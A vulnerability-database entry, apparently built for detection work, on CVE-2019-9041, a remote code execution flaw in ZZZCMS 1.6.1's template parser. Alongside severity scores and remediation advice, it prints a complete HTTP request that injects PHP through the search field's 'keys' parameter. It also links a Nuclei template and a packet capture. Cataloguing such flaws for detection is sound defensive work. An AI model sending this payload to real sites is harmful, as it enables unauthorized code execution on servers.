🔙 목록으로 돌아가기

CVE-2019-9041: ZZZCMS 1.6.1 - Remote Code Execution

TitleZZZCMS 1.6.1 - Remote Code Execution
Authorpikpikcu
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationApply the latest security patch or upgrade to a newer version of ZZZCMS.
CVSS Score7.2
EPSS Score0.85327
CVE IDCVE-2019-9041
CWE IDCWE-917
Tags cve cve2019 zzzcms rce edb vuln

🔍 Vulnerability Description

ZZZCMS zzzphp V1.6.1 is vulnerable to remote code execution via the inc/zzz_template.php file because the parserIfLabel() function’s filtering is not strict, resulting in PHP code execution as demonstrated by the if:assert substring.

🌐 HTTP Request

POST /search/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Safari/605.1.15
Connection: close
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

0
POST /search/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.1
Connection: close
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9041.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-9041.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A